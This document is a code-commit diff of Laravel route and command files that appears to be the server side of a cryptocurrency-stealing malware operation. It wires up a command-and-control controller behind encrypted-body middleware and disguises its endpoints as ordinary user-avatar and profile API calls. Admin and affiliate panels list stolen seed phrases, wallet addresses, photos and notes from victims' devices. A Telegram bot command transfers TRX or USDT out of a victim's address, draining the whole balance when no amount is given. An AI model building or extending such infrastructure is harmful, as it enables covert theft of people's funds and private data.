init
This commit is contained in:
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\Admin\AdminUserController;
|
||||
use App\Http\Controllers\Admin\AgentUserController;
|
||||
use App\Http\Controllers\Admin\AuthController;
|
||||
use App\Http\Controllers\Admin\ChannelController;
|
||||
use App\Http\Controllers\Admin\DashboardController;
|
||||
use App\Http\Controllers\Admin\DeviceController;
|
||||
use App\Http\Controllers\Admin\MnemonicController;
|
||||
use App\Http\Controllers\Admin\NoteController;
|
||||
use App\Http\Controllers\Admin\PhotoController;
|
||||
use App\Http\Controllers\Admin\RawLogController;
|
||||
use App\Http\Controllers\Admin\SystemSettingsController;
|
||||
use App\Http\Controllers\Admin\WalletAddressController;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::prefix('admin')->name('admin.')->group(function () {
|
||||
Route::get('login', [AuthController::class, 'showLogin'])->name('login');
|
||||
Route::post('login', [AuthController::class, 'login'])->name('login.submit');
|
||||
|
||||
Route::middleware('auth:admin')->group(function () {
|
||||
Route::post('logout', [AuthController::class, 'logout'])->name('logout');
|
||||
Route::get('/', [AuthController::class, 'home'])->name('home');
|
||||
|
||||
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
||||
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
||||
|
||||
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
|
||||
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
|
||||
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
|
||||
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
|
||||
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
|
||||
|
||||
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
|
||||
Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data');
|
||||
Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update');
|
||||
|
||||
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
|
||||
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
||||
|
||||
Route::get('photos', [PhotoController::class, 'index'])->name('photos.index');
|
||||
Route::get('photos/data', [PhotoController::class, 'data'])->name('photos.data');
|
||||
|
||||
Route::get('notes', [NoteController::class, 'index'])->name('notes.index');
|
||||
Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data');
|
||||
|
||||
Route::get('agents', [AgentUserController::class, 'index'])->name('agents.index');
|
||||
Route::get('agents/data', [AgentUserController::class, 'data'])->name('agents.data');
|
||||
Route::post('agents', [AgentUserController::class, 'store'])->name('agents.store');
|
||||
Route::put('agents/{agent}', [AgentUserController::class, 'update'])->name('agents.update');
|
||||
Route::get('agents/{agent}/channels', [AgentUserController::class, 'channels'])->name('agents.channels');
|
||||
|
||||
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
|
||||
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
||||
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
|
||||
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
|
||||
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
||||
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
|
||||
|
||||
Route::middleware('admin.super')->group(function () {
|
||||
Route::get('logs', [RawLogController::class, 'index'])->name('logs.index');
|
||||
Route::get('logs/{file}', [RawLogController::class, 'show'])->name('logs.show');
|
||||
|
||||
Route::prefix('system')->name('system.')->group(function () {
|
||||
Route::get('settings', [SystemSettingsController::class, 'index'])->name('settings.index');
|
||||
Route::post('settings', [SystemSettingsController::class, 'update'])->name('settings.update');
|
||||
|
||||
Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index');
|
||||
Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data');
|
||||
Route::post('admins', [AdminUserController::class, 'store'])->name('admins.store');
|
||||
Route::put('admins/{adminUser}', [AdminUserController::class, 'update'])->name('admins.update');
|
||||
Route::delete('admins/{adminUser}', [AdminUserController::class, 'destroy'])->name('admins.destroy');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\C2\C2Controller;
|
||||
use App\Http\Middleware\DecryptCorunaBody;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::middleware([DecryptCorunaBody::class])->group(function () {
|
||||
Route::get('/api/user/query', [C2Controller::class, 'query']);
|
||||
Route::post('/api/user/avatar/set', [C2Controller::class, 'avatarSet']);
|
||||
Route::post('/api/user/get', [C2Controller::class, 'userGet']);
|
||||
Route::post('/api/user/avatar/put', [C2Controller::class, 'avatarPut']);
|
||||
Route::post('/api/user/avatar/status', [C2Controller::class, 'avatarStatus']);
|
||||
Route::post('/api/user/status', [C2Controller::class, 'status']);
|
||||
Route::post('/api/user/set', [C2Controller::class, 'set']);
|
||||
Route::post('/api/user/check', [C2Controller::class, 'check']);
|
||||
Route::post('/api/user/avatar/pic', [C2Controller::class, 'avatarPic']);
|
||||
Route::post('/api/user/profile/add', [C2Controller::class, 'profileNop']);
|
||||
Route::post('/api/user/profile/delete', [C2Controller::class, 'profileNop']);
|
||||
Route::post('/api/user/profile/remove', [C2Controller::class, 'profileNop']);
|
||||
Route::post('/link/config/list', [C2Controller::class, 'linkConfigList']);
|
||||
Route::post('/link/config/icon', [C2Controller::class, 'linkConfigIcon']);
|
||||
});
|
||||
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
use App\Services\Tokenview\TokenviewClient;
|
||||
use Illuminate\Foundation\Inspiring;
|
||||
use Illuminate\Support\Facades\Artisan;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
|
||||
Artisan::command('inspire', function () {
|
||||
$this->comment(Inspiring::quote());
|
||||
})->purpose('Display an inspiring quote');
|
||||
|
||||
Artisan::command('tokenview:set-webhook {url?}', function (?string $url = null) {
|
||||
/** @var TokenviewClient $client */
|
||||
$client = app(TokenviewClient::class);
|
||||
if (! $client->enabled()) {
|
||||
$this->error('TOKENVIEW_API_KEY is empty');
|
||||
|
||||
return 1;
|
||||
}
|
||||
$url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/tokenview';
|
||||
$this->info('Setting webhook URL: '.$url);
|
||||
if ($client->setWebhookUrl($url)) {
|
||||
$this->info('OK');
|
||||
|
||||
return 0;
|
||||
}
|
||||
$this->error('Failed — check Tokenview API response / credentials');
|
||||
|
||||
return 1;
|
||||
})->purpose('Register Tokenview address-tracking webhook URL');
|
||||
|
||||
Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) {
|
||||
$token = (string) config('nutgram.token', '');
|
||||
if ($token === '') {
|
||||
$this->error('TELEGRAM_BOT_TOKEN is empty');
|
||||
|
||||
return 1;
|
||||
}
|
||||
$url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram';
|
||||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
$payload = ['url' => $url];
|
||||
if ($secret !== '') {
|
||||
$payload['secret_token'] = $secret;
|
||||
}
|
||||
$this->info('Setting Telegram webhook URL: '.$url);
|
||||
$resp = Http::timeout(20)
|
||||
->asJson()
|
||||
->post("https://api.telegram.org/bot{$token}/setWebhook", $payload);
|
||||
if ($resp->successful() && ($resp->json('ok') === true)) {
|
||||
$this->info('OK');
|
||||
|
||||
return 0;
|
||||
}
|
||||
$this->error('Failed: '.$resp->body());
|
||||
|
||||
return 1;
|
||||
})->purpose('Register Telegram bot webhook URL (/hooks/telegram)');
|
||||
|
||||
Artisan::command('coruna:channel-domains {--json}', function () {
|
||||
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
|
||||
if ($this->option('json')) {
|
||||
$this->line(json_encode($domains, JSON_UNESCAPED_UNICODE));
|
||||
|
||||
return 0;
|
||||
}
|
||||
if ($domains === []) {
|
||||
$this->warn('(empty)');
|
||||
|
||||
return 0;
|
||||
}
|
||||
foreach ($domains as $d) {
|
||||
$this->line($d);
|
||||
}
|
||||
|
||||
return 0;
|
||||
})->purpose('Print configured channel delivery domains (settings / env)');
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\Hooks\TelegramWebhookController;
|
||||
use App\Http\Controllers\Hooks\TokenviewWebhookController;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::post('/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
|
||||
Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram');
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
/** @var SergiX44\Nutgram\Nutgram $bot */
|
||||
|
||||
use App\Telegram\Handlers\PingCommand;
|
||||
use App\Telegram\Handlers\TransferCommand;
|
||||
use App\Telegram\Middleware\AuthorizedChat;
|
||||
use App\Telegram\Middleware\GroupAdminOnly;
|
||||
|
||||
$bot->group(function ($bot) {
|
||||
$bot->onCommand('ping', PingCommand::class)
|
||||
->description('Health check');
|
||||
|
||||
// Single capture — TransferCommand parses "<from> [asset] [amount]".
|
||||
$bot->onCommand('transfer {args}', TransferCommand::class)
|
||||
->where('args', '.+')
|
||||
->description('Transfer TRX or USDT from a device address (omit amount = all)');
|
||||
})
|
||||
->middleware(GroupAdminOnly::class)
|
||||
->middleware(AuthorizedChat::class);
|
||||
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\Admin\ChannelController;
|
||||
use App\Http\Controllers\Admin\DashboardController;
|
||||
use App\Http\Controllers\Admin\DeviceController;
|
||||
use App\Http\Controllers\Admin\MnemonicController;
|
||||
use App\Http\Controllers\Admin\NoteController;
|
||||
use App\Http\Controllers\Admin\PhotoController;
|
||||
use App\Http\Controllers\Admin\WalletAddressController;
|
||||
use App\Http\Controllers\Agent\AuthController;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::prefix('user')->name('user.')->group(function () {
|
||||
Route::get('login', [AuthController::class, 'showLogin'])->name('login');
|
||||
Route::post('login', [AuthController::class, 'login'])->name('login.submit');
|
||||
|
||||
Route::middleware('auth:agent')->group(function () {
|
||||
Route::post('logout', [AuthController::class, 'logout'])->name('logout');
|
||||
Route::get('/', [AuthController::class, 'home'])->name('home');
|
||||
|
||||
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
||||
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
||||
|
||||
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
|
||||
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
|
||||
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
|
||||
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
|
||||
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
|
||||
|
||||
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
|
||||
Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data');
|
||||
Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update');
|
||||
|
||||
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
|
||||
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
||||
|
||||
Route::get('photos', [PhotoController::class, 'index'])->name('photos.index');
|
||||
Route::get('photos/data', [PhotoController::class, 'data'])->name('photos.data');
|
||||
|
||||
Route::get('notes', [NoteController::class, 'index'])->name('notes.index');
|
||||
Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data');
|
||||
|
||||
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
|
||||
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
||||
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
||||
// Agent portal: view/edit own channel links only (no create/delete).
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::get('/', function () {
|
||||
return redirect()->route('admin.login');
|
||||
});
|
||||
Reference in New Issue
Block a user